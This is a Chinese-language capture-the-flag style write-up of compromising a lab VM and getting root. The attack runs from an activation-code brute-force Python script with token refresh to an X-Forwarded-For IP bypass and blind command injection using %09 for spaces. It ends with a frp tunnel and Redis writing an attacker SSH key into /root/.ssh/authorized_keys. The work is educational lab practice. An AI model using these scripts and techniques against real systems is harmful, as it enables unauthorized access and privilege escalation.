本次渗透测试,目标直指一台高难度的靶机,旨在获取root权限并寻得两枚关键flag。测试环境选定VMware,Kali Linux攻击机IP为192.168.152.56,靶机IP则为192.168.152.63。
信息收集阶段
首先,利用Nmap对靶机进行全面扫描,快速掌握了开放端口和服务的基本情况。端口扫描是信息收集的基础,它能帮助我们初步了解目标系统的服务类型,为后续的漏洞挖掘指明方向。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JbJ7n38m-1718469128187)(https://image.shopcn.life/midPaint/1740022596388.png)]
接着,对扫描结果进行分析,发现Web服务,深入Web应用展开探索。Web服务的存在往往意味着攻击面的扩大,通过对Web应用的测试,我们可能发现SQL注入、XSS等漏洞,甚至直接获取服务器控制权。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X70c4XwG-1718469128187)(https://i-blog.csdnimg.cn/direct/6d99b3a8d4a24c2c9463518a5d0ce512.png)]
Web测试
靶机80端口运行着一个内部系统,员工可在此查看个人资料并导出为PDF。页面上有一个名为UserList的链接,但访问后无任何显示,初步怀疑是权限限制或缺少必要参数。权限控制是Web应用安全的重要组成部分,未授权访问往往会导致敏感信息泄露。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T8aV17eC-1718469128188)(https://image.shopcn.life/midPaint/1740022598590.png)]
随后,进行了目录扫描,发现多个目录遍历漏洞,但仅能访问一些PHP文件。目录遍历漏洞可能泄露敏感文件路径,增加攻击者利用漏洞的概率。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x7P1QW0U-1718469128188)(https://image.shopcn.life/midPaint/1740022599945.png)]
进一步利用Gobuster工具进行深度目录扫描,以期发现更多隐藏的页面和功能点。
gobuster dir -u http://192.168.152.63/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,html
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h1P8Jq1h-1718469128188)(https://image.shopcn.life/midPaint/1740022601337.png)]
扫描结果显示存在一个黑名单,但未明确指出其作用于哪个文件。为了确定黑名单的应用范围,我尝试使用包含黑名单关键词的payload对所有可访问页面进行测试,但未发现有效入口。黑名单通常用于过滤恶意输入,防止SQL注入、XSS等攻击。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B4q9M86R-1718469128189)(https://i-blog.csdnimg.cn/direct/a6b40b708039476b876b593286f9d447.png)]
经过对每个可访问页面的详细分析,发现注册页面允许用户注册账户并登录。此外,还发现了一个激活页面。注册功能是Web应用的常见功能,但也可能存在安全漏洞,如弱口令、未授权访问等。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mS2F1y8k-1718469128189)(https://image.shopcn.life/midPaint/1740022603153.png)]
尝试注册admin账号时,系统提示账号已存在。随后,注册了一个admin123账号,注册成功后提示需要激活。激活机制通常用于验证用户身份,防止恶意注册。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-01sC0937-1718469128189)(https://image.shopcn.life/midPaint/1740022604015.png)]
激活页面需要userid和激活码。在profile页面找到了userid,但激活码未知。通过对URL的观察,发现userid会显示在URL中,这为后续的激活码爆破提供了便利。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W9aM8W6h-1718469128190)(https://image.shopcn.life/midPaint/1740022605022.png)]
由于激活码为6位数字,尝试进行暴力破解。然而,在爆破过程中发现存在token验证,导致爆破速度非常慢。Token验证是一种常见的防止CSRF攻击的安全措施,但同时也增加了爆破的难度。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1d4hFfWd-1718469128190)(https://image.shopcn.life/midPaint/1740022606812.png)]
为了解决token验证的问题,编写了一个Python脚本,用于自动获取token并进行激活码爆破。当然,也可以使用Burp Suite的宏定义功能实现类似的效果。
import requests
from bs4 import BeautifulSoup
url='http://192.168.152.63/activate.php'
session = requests.Session() #保持会话
response = session.get(url)
text=response.text
soup = BeautifulSoup(text, 'html.parser')
token_value = soup.find('input', {'name': 'token'})['value']
for i in range(1000000):
number_str = f"{i:06d}" # 使用格式化字符串,确保数字是6位,不足的前面补0
data={'userid':15,'activation_code':number_str,'token':token_value}
re = session.post(url=url, data=data)
soup = BeautifulSoup(re.text, 'html.parser')
token_value = soup.find('input', {'name': 'token'})['value']
print(number_str)
if re.status_code!=403:
print('——————————————————————————————————————————————')
break
在编写脚本的过程中,遇到了一个之前没有注意的问题:data数据如果使用字典格式,会自动进行URL编码。一开始直接将POST数据当成字符串传输,导致token一直无效。URL编码是一种将特殊字符转换为可在URL中传输的格式的过程。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cZY2U8oY-1718469128190)(https://image.shopcn.life/midPaint/1740022608721.png)]
最终,成功爆破出激活码:000511。这个激活码相对较小,因此爆破速度较快。
激活成功后,可以正常登录系统。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r3bM4FjI-1718469128191)(https://image.shopcn.life/midPaint/1740022611733.png)]
登录后,对系统的新功能点进行了全面测试,包括SQL注入等常见Web漏洞。SQL注入是一种通过在用户输入中插入恶意SQL代码来攻击数据库的漏洞。
经过一番探索,在9emin1用户的profile中发现了密码的HASH值。密码HASH是一种将密码转换为不可逆字符串的算法,用于保护用户密码的安全。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Lp5hE6eG-1718469128191)(https://image.shopcn.life/midPaint/1740022613589.png)]
该账号为管理员账号,这为后续的提权操作提供了便利。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H393uL9k-1718469128191)(https://i-blog.csdnimg.cn/direct/1c9d303aac294315b9748527aa6d2f57.png)]
使用在线解密网站对密码HASH进行解密,得到密码:secretpassword。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f0l0N87O-1718469128192)(https://image.shopcn.life/midPaint/1740022617691.png)]
然而,使用9emin1和secretpassword登录失败。考虑到注册时存在账号名和昵称,重新审视了用户列表,发现每个账号后面都有一个括号,里面是用户的昵称。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b4X2pB4A-1718469128192)(https://image.shopcn.life/midPaint/1740022618670.png)]
因此,使用Gemini和secretpassword成功登录管理员账号。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u7y9k1tP-1718469128192)(https://image.shopcn.life/midPaint/1740022620528.png)]
登录后,尝试访问admin账号才有的功能点,如执行命令,但均返回403错误。403错误表示服务器拒绝访问,通常是由于权限不足或IP限制。
通过分析数据包,发现存在IP限制。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c4Nn309t-1718469128193)(https://image.shopcn.life/midPaint/1740022622656.png)]
使用插件生成的IP可以绕过IP限制。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qfEwG06w-1718469128193)(https://i-blog.csdnimg.cn/direct/09c625e6693242db9783b154ab936105.png)]
经过测试,发现添加X-Forwarded-For: 127.0.0.1头部可以成功绕过IP限制。X-Forwarded-For是一个HTTP头部,用于记录客户端的真实IP地址。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zB2Wf4jS-1718469128193)(https://image.shopcn.life/midPaint/1740022625271.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1bTsq87v-1718469128193)(https://i-blog.csdnimg.cn/direct/f4f20a071f1a486bac62b2e105b376f1.png)]
突破边界
在执行命令功能中,发现了前面黑名单中出现的命令执行参数testcmd。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-28H2Q0P8-1718469128194)(https://image.shopcn.life/midPaint/1740022627213.png)]
尝试输入命令,但没有回显。需要注意的是,请求头中必须包含Content-Type: application/x-www-form-urlencoded,且token必须有效。
由于没有回显,怀疑是盲命令执行。根据黑名单内容,发现过滤了空格。因此,寻找可以替代空格的方法。经过一番搜索,发现黑名单中还过滤了{},最终发现%09可以替代空格。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d7M2T2Xw-1718469128194)(https://image.shopcn.life/midPaint/1740022632446.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N78vT06r-1718469128194)(https://i-blog.csdnimg.cn/direct/2c4dbca2ad1a44f380593bb81df6fd63.png)]
经过测试,发现目标系统没有curl命令。
一开始尝试OOB带外数据,但发现很多都被过滤了,估计不太可行。考虑到很多命令无法执行,尝试先上传Metasploit的后门。
然而,上传后门并没有成功上线。
尝试上传一个sh文件,看是否可以执行。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3c050g3L-1718469128195)(https://image.shopcn.life/midPaint/1740022635880.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xO9zJ1r2-1718469128195)(https://i-blog.csdnimg.cn/direct/2584a7dc2f3b43d5a2c0cdb890cfed80.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MvXp43q9-1718469128195)(https://image.shopcn.life/midPaint/1740022637270.png)]
执行命令:
bash%09/tmp/jiaoben
成功执行了sh文件。这里只能使用bash,不能使用bin/bash,原因未知。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T2n99Qk7-1718469128196)(https://image.shopcn.life/midPaint/1740022639015.png)]
提权
使用以下命令提升shell:
SHELL=/bin/bash script -q /dev/null
在家目录下面查看历史记录,发现一个名为Gnupg的程序,以前没有见过,感觉有点可疑。在网上搜索了一下,发现是一个加密工具,但没有深入研究。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-91vQ2T3G-1718469128196)(https://image.shopcn.life/midPaint/1740022640719.png)]
上传了提权辅助脚本进行信息收集,发现以下可疑内容:
/var/backups/alternatives.tar.0
/home/gemini1/.gnupg/trustdb.gpg
/home/gemini1/.gnupg/pubring.kbx
usr/bin/wkhtmltopdf
/usr/bin/gettext.sh
同时发现开启了Redis和MySQL数据库。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v004l9r5-1718469128196)(https://image.shopcn.life/midPaint/1740022642817.png)]
Redis以root权限启动,MySQL以mysql权限启动。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u60xL47d-1718469128197)(https://image.shopcn.life/midPaint/1740022644261.png)]
Redis有一些提权手法的前提是root权限启动的服务。
但在命令行运行Redis命令时出现问题,怀疑是shell的问题。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qPq1J72Q-1718469128197)(https://image.shopcn.life/midPaint/1740022645909.png)]
查看frps.toml的配置。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m3qYlUaN-1718469128197)(https://i-blog.csdnimg.cn/direct/5dc21de1ce114f0a930385b92531e885.png)]
将frpc和frpc.toml上传到靶机,并赋予执行权限。
首先在Kali上启动frps:
./frps -c ./frps.toml
然后在靶机上启动frpc:
nohup ./frpc -c ./frpc.toml > output.log 2>&1 &
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l1j2vXo9-1718469128198)(https://image.shopcn.life/midPaint/1740022646997.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H1uWp5L5-1718469128198)(https://i-blog.csdnimg.cn/direct/ce802cb6852f43eb9b812b8c0adc1211.png)]
发现需要密码。一开始准备使用Metasploit的代理转发,但不知为何没有代理成功。只能退而求其次,选择使用frp进行内网穿透。
在本地修改frpc.toml的内容,将本地的6379端口穿透到Kali的1088端口。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wS2fV8sU-1718469128198)(https://image.shopcn.life/midPaint/1740022648710.png)]
Redis的密码可以在配置文件中查看:
cat /etc/redis/6379.conf
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g25qVf2O-1718469128199)(https://image.shopcn.life/midPaint/1740022651018.png)]
8a7b86a2cd89d96dfcc125ebcc0535e6
登录Redis后,发现存在一个密钥,将密钥复制到本地后,尝试使用公私钥连接,但连接失败。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nN7vK2sQ-1718469128199)(https://image.shopcn.life/midPaint/1740022656873.png)]
因此,只能选择写入公钥的方式。
在本地生成公私钥:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yD2L9b2u-1718469128199)(https://image.shopcn.life/midPaint/1740022659532.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k1eG0t5p-1718469128199)(https://i-blog.csdnimg.cn/direct/ae0eda3a68b442d1b1801829d3c9ceb0.png)]
将公钥写入一个txt文件,并在中间添加一些换行:
(echo -e "\n\n";cat Gemini.pub;echo -e "\n\n")>Gemini.txt
这是因为在写入的过程中可能会出现一些乱码影响。
将公钥写入Redis内存中,也就是保存到数据库:
cat Gemini.txt|redis-cli -h 127.0.0.1 -p 1088 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set gongyao
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-33252j6E-1718469128200)(https://image.shopcn.life/midPaint/1740022661406.png)]
然后执行以下命令:
config set dir /root/.ssh
config set dbfilename authorized_keys
save
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B2P89m12-1718469128200)(https://image.shopcn.life/midPaint/1740022662886.png)]
这成功地将公钥写入了数据库。
现在可以尝试使用SSH进行连接了:
指定私钥进行连接:
ssh -i Gemini root@192.168.152.63
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0vQG6j1Q-1718469128200)(https://image.shopcn.life/midPaint/1740022664028.png)]
成功获取root权限。
查看flag:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N4P26UqY-1718469128201)(https://i-blog.csdnimg.cn/direct/8c79e0e312da4e9caac1dc70de13d87f.png)]
总结
本次渗透测试过程较为复杂,特别是在无回显的RCE环境下,需要对目标系统的环境有深入的了解,才能找到合适的命令执行方法。